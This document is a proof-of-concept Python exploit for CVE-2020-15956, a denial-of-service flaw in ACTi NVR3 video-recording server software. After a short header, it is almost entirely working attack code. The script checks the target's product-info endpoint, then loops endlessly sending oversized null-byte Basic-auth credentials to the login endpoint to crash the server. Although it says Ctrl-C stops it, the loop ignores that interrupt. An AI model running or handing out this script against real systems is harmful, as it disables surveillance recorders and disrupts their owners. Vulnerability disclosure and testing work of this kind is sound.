# Exploit Title: ACTi NVR3 Standard or Professional Server 3.0.12.42 - Denial of Service (PoC) # # Date: 2020-08-04 # # Exploit Author: MegaMagnus # # Vendor Homepage: https://www.acti.com/ # # Software Link: https://www.acti.com/DownloadCenter # # Version: V.3.0.12.42 , V.2.3.04.07 # # Tested on: Windows 7, Windows 10 # # CVE: CVE-2020-15956 # # This is a Proof of Concept Exploit, Please use responsibly. # ################################################################################# #!/usr/bin/env python import requests from requests.auth import HTTPBasicAuth import sys def product_info(server): try: r = requests.get(sys.argv[1] + '/media/Product/getProductInfo', timeout=10) if r.status_code == 200: print(r.text) return True except Exception as e: print(e) return False if __name__ == "__main__": if len(sys.argv) != 2: print("usage: cve-2020-15956.py <target>") exit(-1) if product_info(sys.argv[1]): print("Starting DOS. Use Ctrl-C (SIGINT) to stop!") while True: try: payload = b"\x00" * (760) r = requests.get(sys.argv[1] + '/Media/UserGroup/login', auth=HTTPBasicAuth('Basic',payload), timeout=10) print(r.status_code) except KeyboardInterrupt: pass except Exception as e: pass